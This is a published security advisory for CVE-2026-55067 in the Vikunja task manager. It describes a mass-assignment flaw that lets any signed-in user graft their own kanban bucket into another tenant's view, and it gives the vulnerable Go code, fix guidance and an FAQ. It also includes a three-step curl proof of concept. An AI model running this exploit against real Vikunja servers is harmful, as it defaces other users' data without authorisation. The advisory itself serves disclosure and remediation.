CVE-2026-55067: Vikunja: Authenticated cross-tenant kanban-bucket relocation via `project_view_id` mass-assignment

Published Aug 28, 2026
·
Updated

Summary

POST /api/v1/projects/{project}/views/{view}/buckets/{bucket} mass-assigns the request body's projectviewid onto the bucket row. The permission check only verifies that the URL-supplied bucket already belongs to the URL-supplied (project, view) pair; the body's projectviewid is never validated. Any signed-in user can therefore take one of their own buckets and graft it into any other tenant's kanban view, with attacker-controlled title and the attacker's account as createdby.

This vulnerability was found using an LLM, and manually verified against latest (2.3.0).

Vulnerable code

pkg/models/kanban.go (lines 348-359):

go func (b Bucket) Update(s xorm.Session, web.Auth) (err error) { , err = s. Where("id = ?", b.ID). Cols( "title", "limit", "position", "projectviewid", // mass-assigned from the request body ). Update(b) return }

Bucket.CanUpdate (canDoBucket) only validates that the URL-supplied {bucket} belongs to the URL-supplied {project}/{view}. The body's projectviewid reaches Update unchecked and is written through.

Proof of Concept

Prerequisites: Two registered users (attacker and victim). In the IDs below: attacker's project is 2, kanban view 8; victim's project is 1, kanban view 4.

Step 1: Attacker creates a fresh bucket in their own project.

bash curl -s -X PUT 'http://localhost:13456/api/v1/projects/2/views/8/buckets' \ -H 'Authorization: Bearer <attackertoken>' \ -H 'Content-Type: application/json' \ -d '{"title":"PWNED BUCKET"}' | jq '.id' Returns: 7

Step 2: Attacker updates bucket 7, supplying projectviewid = victim's view ID. The URL chain is the attacker's, so CanUpdate passes; the body field is written through without further checks.

bash curl -s -X POST 'http://localhost:13456/api/v1/projects/2/views/8/buckets/7' \ -H 'Authorization: Bearer <attackertoken>' \ -H 'Content-Type: application/json' \ -d '{"title":"PWNED BUCKET","limit":0,"projectviewid":4}' | jq '{id,title,projectviewid}' Returns: { "id": 7, "title": "PWNED BUCKET", "projectviewid": 4 }

Step 3: Victim lists buckets in their own view; the attacker's bucket is now there, owned by the attacker.

bash curl -s 'http://localhost:13456/api/v1/projects/1/views/4/buckets' \ -H 'Authorization: Bearer <victimtoken>' | jq '[.[]|{id,title,createdby:.createdby.username}]' Returns: [ {"id":7,"title":"PWNED BUCKET","createdby":"attacker"}, {"id":1,"title":"To-Do","createdby":"victim"}, {"id":2,"title":"Doing","createdby":"victim"}, {"id":3,"title":"Done","createdby":"victim"} ]

After relocation the attacker can no longer reach the row (it lives in the victim's view), so only the victim can delete the graffiti. projectviewid is a sequential integer, so any tenant's view can be targeted by enumeration.

Impact

Any signed-in user can inject arbitrary-titled buckets into any other tenant's kanban view. Most likely exploitation here would be graffiti/defacement.

Fix

In (b Bucket) Update, drop projectviewid from the Cols(...) allowlist (mass-assignment fix) and reject body payloads where projectviewid != bucket.ProjectViewID. If legitimate "move bucket between views" is a needed feature, expose it as a dedicated endpoint that calls CanUpdate against both the source and destination view.

Other sources

Vikunja is an open-source self-hosted task management platform. Prior to 2.4.0, POST /api/v1/projects/{project}/views/{view}/buckets/{bucket} allows the request body projectviewid value to be mass assigned by Bucket.Update in pkg/models/kanban.go. The permission check validates that the bucket currently belongs to the URL project and view but does not validate the body selected destination view, allowing any authenticated user to relocate an attacker-owned bucket into another tenant’s Kanban view. The injected bucket retains attacker-controlled content and ownership, enabling cross-tenant defacement. This issue is fixed in version 2.4.0.

MITRE

Affected Software

1 affected componentFixes available
go/code.vikunja.io/api<=2.3.0
2.4.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/code.vikunja.io/api to a version that resolves this vulnerability.

    Fixed in 2.4.0
  2. Upgrade

    Upgrade Vikunja to a version that resolves this vulnerability.

    Fixed in 2.4.0
  3. Configuration

    In `(b *Bucket) Update`, drop `project_view_id` from the `Cols(...)` allowlist (mass-assignment fix) and reject request bodies where `project_view_id != bucket.ProjectViewID`.

    Vikunja API (Bucket.Update in pkg/models/kanban.go) project_view_id mass-assignment / allowlist = remove project_view_id from Cols(...) allowlist and validate body
  4. Configuration

    Ensure `Bucket.CanUpdate` and the update path validate the destination view consistently; specifically, reject/ignore any body `project_view_id` that does not match the bucket's existing `bucket.ProjectViewID`, and do not allow relocation via body `project_view_id`.

    Vikunja API permission model project_view_id validation against destination view = body project_view_id must be validated/ignored
  5. Compensating control

    If legitimate “move bucket between views” is required, expose it as a dedicated endpoint that calls `CanUpdate` against both the source and destination view (instead of allowing the move via `project_view_id` in `Bucket.Update`).

Event History

Aug 28, 2026
CVE Published
via MITRE·04:53 PM
Data Sourced
via MITRE·04:53 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·04:55 PM
Data Sourced
via GitHub·04:55 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who can exploit this issue?

Any signed-in user who can update a bucket they own can exploit it. The attacker also needs the target tenant's kanban view identifier to move their bucket into that view.

2

Are default deployments affected?

The issue affects the bucket update endpoint when authenticated users can create and update their own buckets. No special configuration is described as necessary.

3

What is the impact of a successful exploit?

An attacker can insert a bucket into another tenant's kanban view and control its title. The inserted bucket remains attributed to the attacker's account as created_by.

4

How can administrators look for possible exploitation?

Review bucket records for project_view_id values that point to views outside the bucket creator's authorized project or tenant context. Unexpected buckets in kanban views, especially those created by unrelated accounts, are indicators.

5

What mitigation is available if patching cannot happen immediately?

No interim mitigation is provided in the advisory data. Reducing access to bucket-update functionality for untrusted signed-in users would limit exposure where operationally feasible.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203